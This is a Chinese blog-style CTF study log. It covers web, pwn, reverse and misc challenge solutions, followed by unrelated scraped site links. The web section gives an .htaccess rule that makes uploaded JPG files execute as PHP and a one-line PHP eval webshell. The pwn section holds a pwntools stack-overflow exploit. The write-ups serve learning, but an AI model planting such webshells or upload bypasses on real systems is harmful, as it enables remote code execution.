当前位置: 首页 > news >正文

2.19学习记录

Web

easyupload3.0

这是一道构造.htaccess文件的传马
如下:

<FilesMatch "jpg">SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件可以作为一个解释器,可以将传进去的图片马改为php马在这里插入图片描述上传之后再传个图片马,之后就可以蚁剑了在这里插入图片描述

[极客大挑战 2019]Knife

在这里插入图片描述根据提示构造木马

/?<?php eval($_POST["Syc"]);?>

之后用蚁剑连接即可在这里插入图片描述flag在根目录下

pwn

[BUUCTF]bjdctf_2020_babystack

先用exe看一下在这里插入图片描述64位的exe文件,用ida查看主调函数在这里插入图片描述分析代码发现在read处存在栈溢出
exp:

from pwn import *
io=remote('node2.anna.nssctf.cn',28733)
io.sendlineafter("name:",b'100')
payload=b'a'*(0x10+8)+p64(0x4006E6)
io.sendlineafter("name?",payload)
io.interactive()

re

[SWPUCTF 2021 新生赛]非常简单的逻辑题

题目

flag = 'xxxxxxxxxxxxxxxxxxxxx'
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = ''
for i in range(len(flag)):s1 = ord(flag[i])//17s2 = ord(flag[i])%17result += s[(s1+i)%34]+s[-(s2+i+1)%34]
print(result)
# result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'

题目的意思是在for循环中,对flag的ASCII值取整并赋给s1,对flag的ASCII值取余并赋给s2,在进行一个加密算法赋给result。
根据查询ai,分析思路:先在一定范围的ASCII值中,取整取余,分别赋给s1,s2
再定义一个函数命名为res,让其等于加密算法,此时的加密算法i已经不能再用i表示,替换成num
再写一个if判断,res与result的两两分组的值是否相等
exp:

flag = ''
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'
res = ''
num = 0
for j in range(0,len(result),2):for i in range(255):s1 = i//17s2 = i%17res = s[(s1+num)%34]+s[-(s2+num+1)%34]if res == result[j:j+2]:flag += chr(i)num += 1
print(flag)

在这里插入图片描述

misc

[NISACTF 2022]huaji?

用010查看附件发现是个jfif文件在这里插入图片描述用随波逐流一把梭了
在这里插入图片描述发现含有一个zip,内容是叫作flag的文档在这里插入图片描述用binwalk分出来,压缩包是加密的在这里插入图片描述
得到的jpg查看一下exif,发现可疑信息在这里插入图片描述标记处猜一波是密码,结果还真是在这里插入图片描述

http://www.lryc.cn/news/539766.html

相关文章:

  • 汽车免拆诊断案例 | 2013 款奔驰 S300L 车起步时车身明显抖动
  • 【HeadFirst系列之HeadFirst设计模式】第5天之工厂模式:比萨店的秘密武器,轻松搞定对象创建!
  • Redis如何解决热Key问题
  • 从开发到部署:EasyRTC嵌入式视频通话SDK如何简化实时音视频通信的集成与应用
  • Zookeeper(58)如何在Zookeeper中实现分布式锁?
  • Mac端homebrew安装配置
  • Spring 接入 DeepSeek
  • vscode将文件中行尾默认CRLF改为LF
  • python-leetcode 33.排序链表
  • 【数据结构初阶第十二节】设计循环队列
  • 基于微信小程序的民宿短租系统设计与实现(ssm论文源码调试讲解)
  • 使用 Jetty 构建 HTTPS 服务入门指南
  • 数据结构《图》
  • 用Chrome Recorder轻松完成自动化测试脚本录制
  • ⭐️苹果电脑安装windows10双系统【详细图文步骤保姆级教程】【本教材适用于MAC台式机、笔记本MacBook air和pro】
  • win10系统上的虚拟机安装麒麟V10系统提示找不到操作系统
  • Java 大视界 -- 开源社区对 Java 大数据发展的推动与贡献(91)
  • 深入浅出C语言内存模型——高阶篇
  • AI 百炼成神:逻辑回归, 垃圾邮件分类
  • MybatisPlus-扩展功能
  • 《计算机视觉》——角点检测和特征提取sift
  • DeepSeek模型快速部署教程-搭建自己的DeepSeek
  • Swift CChar元祖转String
  • 【刷题】leetcode
  • WPF创建自定义类和控件及打包成dll引用
  • Zookeeper(54)如何使用Zookeeper的命令行工具?
  • 一周学会Flask3 Python Web开发-http响应状态码
  • 【数据挖掘】
  • 位操作符 练习
  • 解决Python升级导致PySpark任务异常方案